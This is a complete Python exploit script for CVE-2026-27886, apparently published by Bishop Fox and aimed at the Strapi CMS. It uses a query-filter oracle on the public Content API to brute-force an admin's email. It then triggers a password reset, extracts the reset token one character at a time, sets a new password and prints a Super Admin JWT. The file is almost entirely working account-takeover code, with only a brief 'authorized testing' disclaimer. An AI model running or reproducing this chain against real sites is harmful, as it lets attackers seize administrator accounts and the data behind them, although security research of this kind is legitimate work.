1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
| #!/usr/bin/env python3
"""
CVE-2026-27886 Automated Account Takeover Exploit
Full chain: email enum → password reset trigger → token exfiltration → admin JWT
Bishop Fox Threat Enablement & Analysis
LEGAL: This script is for authorized security testing only (CTF, pentesting with permission).
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from typing import Optional, Tuple
DEFAULT_RELATION = "updatedBy"
DEFAULT_EMAIL_ALPHABET = "@.+-abcdefghijklmnopqrstuvwxyz0123456789"
DEFAULT_TOKEN_ALPHABET = "0123456789abcdef"
TOKEN_LENGTH = 40
USER_AGENT = "cve-2026-27886-exploit/1.0"
class ExploitError(Exception):
"""Raised when exploit chain fails."""
def http_get(url: str, timeout: float = 10.0) -> Tuple[int, str]:
"""GET request returning (status_code, body)."""
req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
body = r.read().decode("utf-8")
return r.status, body
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8") if e.fp else ""
return e.code, body
except (urllib.error.URLError, TimeoutError, OSError) as e:
raise ExploitError(f"Network error: {e}")
def http_post_json(url: str, data: dict, timeout: float = 10.0) -> Tuple[int, dict]:
"""POST request with JSON, returning (status_code, response_json)."""
body = json.dumps(data).encode("utf-8")
req = urllib.request.Request(
url,
data=body,
headers={"User-Agent": USER_AGENT, "Content-Type": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
resp_body = r.read().decode("utf-8")
try:
return r.status, json.loads(resp_body)
except json.JSONDecodeError:
return r.status, {"raw": resp_body}
except urllib.error.HTTPError as e:
resp_body = e.read().decode("utf-8") if e.fp else ""
try:
return e.code, json.loads(resp_body)
except json.JSONDecodeError:
return e.code, {"raw": resp_body}
except (urllib.error.URLError, TimeoutError, OSError) as e:
raise ExploitError(f"Network error: {e}")
def pagination_total(data) -> int:
"""Extract meta.pagination.total from API response."""
if not isinstance(data, dict):
return 0
meta = data.get("meta") or {}
pagination = meta.get("pagination") or {}
try:
return int(pagination.get("total") or 0)
except (TypeError, ValueError):
return 0
def parse_json_response(body: str) -> dict:
"""Parse JSON response body."""
try:
return json.loads(body)
except json.JSONDecodeError:
raise ExploitError(f"Non-JSON response: {body[:200]}")
def total_for_query(endpoint: str, params: dict) -> int:
"""Make request with params and return pagination.total."""
if params:
url = f"{endpoint}?{urllib.parse.urlencode(params, safe='')}"
else:
url = endpoint
status, body = http_get(url)
if status != 200:
raise ExploitError(f"HTTP {status} from {url}")
data = parse_json_response(body)
return pagination_total(data)
def verify_vulnerable(endpoint: str) -> bool:
"""Check if endpoint is vulnerable using differential test."""
print("[*] Verifying vulnerability...")
try:
baseline = total_for_query(endpoint, {})
where_test = total_for_query(endpoint, {"where[id][$lt]": "-1"})
is_vuln = baseline > 0 and where_test == 0
if is_vuln:
print(f" [+] Vulnerable: baseline={baseline}, where_test={where_test}")
else:
print(f" [-] Not vulnerable: baseline={baseline}, where_test={where_test}")
return is_vuln
except ExploitError as e:
print(f" [-] Error: {e}")
return False
def enumerate_email(
endpoint: str,
relation: str = DEFAULT_RELATION,
alphabet: str = DEFAULT_EMAIL_ALPHABET,
max_len: int = 64,
delay_s: float = 0.0,
) -> Optional[str]:
"""Brute-force admin email via $startsWith oracle."""
print("[*] Enumerating admin email...")
known = ""
email_chars = []
for position in range(max_len):
found = False
for c in alphabet:
candidate = known + c
params = {f"where[{relation}][email][$startsWith]": candidate}
try:
if total_for_query(endpoint, params) > 0:
known += c
email_chars.append(c)
print(f" {known}", end="\r", flush=True)
found = True
break
except ExploitError:
pass
if delay_s:
time.sleep(delay_s)
if not found:
break
if known:
print(f" [+] Found admin email: {known}")
return known
else:
print(" [-] Failed to enumerate email")
return None
def trigger_password_reset(base_url: str, admin_email: str) -> bool:
"""POST /admin/forgot-password to generate reset token."""
print(f"[*] Triggering password reset for {admin_email}...")
forgot_url = f"{base_url}/admin/forgot-password"
try:
status, resp = http_post_json(forgot_url, {"email": admin_email})
# Strapi returns 204 on success (no content), ignores if email doesn't exist
if status in (204, 200):
print(f" [+] Password reset triggered (HTTP {status})")
return True
else:
print(f" [-] Unexpected response: HTTP {status}")
return False
except ExploitError as e:
print(f" [-] Error: {e}")
return False
def extract_reset_token(
endpoint: str,
relation: str = DEFAULT_RELATION,
alphabet: str = DEFAULT_TOKEN_ALPHABET,
length: int = TOKEN_LENGTH,
delay_s: float = 0.0,
) -> Optional[str]:
"""Brute-force resetPasswordToken via $startsWith oracle."""
print(f"[*] Extracting {length}-char reset token...")
known = ""
for position in range(length):
found = False
for c in alphabet:
candidate = known + c
params = {f"where[{relation}][resetPasswordToken][$startsWith]": candidate}
try:
if total_for_query(endpoint, params) > 0:
known += c
percent = int((position + 1) / length * 100)
print(f" [{percent:3d}%] {known}", end="\r", flush=True)
found = True
break
except ExploitError:
pass
if delay_s:
time.sleep(delay_s)
if not found:
print(f"\n [+] Token extraction complete: {known}")
return known
if len(known) >= length:
print(f"\n [+] Token extraction complete: {known}")
return known
else:
print(f"\n [-] Failed (only got {len(known)}/{length} chars)")
return None
def reset_password_with_token(
base_url: str, reset_token: str, new_password: str
) -> Optional[str]:
"""POST /admin/reset-password with token to get Super Admin JWT."""
print(f"[*] Resetting password with stolen token...")
reset_url = f"{base_url}/admin/reset-password"
try:
status, resp = http_post_json(
reset_url,
{"resetPasswordToken": reset_token, "password": new_password},
)
if status == 200 and "data" in resp:
jwt = resp["data"].get("token")
user = resp["data"].get("user", {})
if jwt:
print(f" [+] Password reset successful!")
print(f" [+] JWT: {jwt[:50]}...")
print(f" [+] User: {user.get('email')} (ID: {user.get('id')})")
return jwt
else:
print(f" [-] Response missing JWT")
return None
else:
print(f" [-] Unexpected response: HTTP {status}")
return None
except ExploitError as e:
print(f" [-] Error: {e}")
return None
def full_exploit(
endpoint: str,
base_url: str,
admin_email: Optional[str] = None,
new_password: str = "Pwned@123456",
delay_s: float = 0.0,
) -> Optional[str]:
"""Run full account takeover chain."""
print(f"\n[+] Target: {endpoint}")
print(f"[+] Base URL: {base_url}")
# Step 1: Verify vulnerability
if not verify_vulnerable(endpoint):
raise ExploitError("Target is not vulnerable")
# Step 2: Enumerate email if not provided
if not admin_email:
admin_email = enumerate_email(endpoint, delay_s=delay_s)
if not admin_email:
raise ExploitError("Failed to enumerate admin email")
else:
print(f"[*] Using provided admin email: {admin_email}")
# Step 3: Trigger password reset
if not trigger_password_reset(base_url, admin_email):
raise ExploitError("Failed to trigger password reset")
# Step 4: Extract reset token
reset_token = extract_reset_token(endpoint, delay_s=delay_s)
if not reset_token:
raise ExploitError("Failed to extract reset token")
# Step 5: Reset password and get JWT
jwt = reset_password_with_token(base_url, reset_token, new_password)
if not jwt:
raise ExploitError("Failed to reset password and get JWT")
return jwt
def build_arg_parser() -> argparse.ArgumentParser:
p = argparse.ArgumentParser(
description=(
"CVE-2026-27886 Automated Account Takeover Exploit. "
"Extracts admin email, triggers password reset, steals reset token, and takes over admin account. "
"For authorized security testing only."
),
formatter_class=argparse.RawDescriptionHelpFormatter,
)
p.add_argument(
"endpoint",
help="Full URL to a public Strapi Content API collection (e.g. https://target/api/articles)",
)
p.add_argument(
"-b",
"--base-url",
required=False,
help="Base URL for /admin/* endpoints (defaults to endpoint's base, e.g., https://target)",
)
p.add_argument(
"-e",
"--email",
required=False,
help="Admin email (if known, skips enumeration)",
)
p.add_argument(
"-p",
"--password",
default="Pwned@123456",
help="New password to set (default: Pwned@123456)",
)
p.add_argument(
"--delay",
type=float,
default=0.0,
help="Per-request delay in seconds",
)
p.add_argument(
"-v",
"--verify-only",
action="store_true",
help="Only verify vulnerability, don't exploit",
)
return p
def main() -> int:
args = build_arg_parser().parse_args()
endpoint = args.endpoint.rstrip("/")
# Determine base URL
if args.base_url:
base_url = args.base_url.rstrip("/")
else:
# Extract base from endpoint: https://target/api/articles → https://target
parts = urllib.parse.urlparse(endpoint)
base_url = f"{parts.scheme}://{parts.netloc}"
try:
if args.verify_only:
if verify_vulnerable(endpoint):
print("[+] Target is VULNERABLE to CVE-2026-27886")
return 0
else:
print("[-] Target is NOT vulnerable")
return 1
jwt = full_exploit(
endpoint=endpoint,
base_url=base_url,
admin_email=args.email,
new_password=args.password,
delay_s=args.delay,
)
print(f"\n[+] SUCCESS! Admin account compromised.")
print(f"[+] JWT Token:\n{jwt}\n")
print(f"[+] You can now use this JWT to access /admin/* endpoints")
print(f"[+] Set Authorization header: Bearer {jwt}")
return 0
except ExploitError as e:
print(f"\n[-] EXPLOIT FAILED: {e}")
return 1
except KeyboardInterrupt:
print("\n\n[-] Interrupted by user")
return 130
if __name__ == "__main__":
sys.exit(main())
|